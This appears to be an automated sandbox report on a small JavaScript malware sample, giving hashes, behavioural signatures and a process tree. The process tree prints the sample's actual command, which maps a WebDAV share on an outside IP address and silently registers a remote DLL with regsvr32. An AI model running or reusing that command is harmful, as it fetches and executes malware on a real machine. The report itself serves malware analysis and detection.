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Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22/07/2024, 06:00
Static task
static1
Behavioral task
behavioral1
Sample
2900829329242392406.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2900829329242392406.js
Resource
win10v2004-20240709-en
General
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Target
2900829329242392406.js
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Size
5KB
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MD5
1e749aa79b5db886fa11dff0d4b2afa3
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SHA1
7db15a638a9e1fcc12079a3a23988a86792feeba
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SHA256
2eae1b400f47ce237c01facbe4ab2e5c6c006ab0b87fc58c171e832067aead8a
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SHA512
2deb50dac75eac1b652d0291e3350d99d97b56fb92e25ffc52e42884444183181991aa57e41c2965097aa7eefd99d22db9215217ded5dc106c35186927f6d499
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SSDEEP
96:LVkC4Q9QOAl+8Wjj1rc8ZiXw1OuAk9HOy/Xw1Oun+4:hk1OcleK8ZiXwAkP/Xwn+4
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4832 wrote to memory of 2496 4832 wscript.exe 86 PID 4832 wrote to memory of 2496 4832 wscript.exe 86 PID 2496 wrote to memory of 5004 2496 cmd.exe 88 PID 2496 wrote to memory of 5004 2496 cmd.exe 88
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2900829329242392406.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\28779221123408.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:5004
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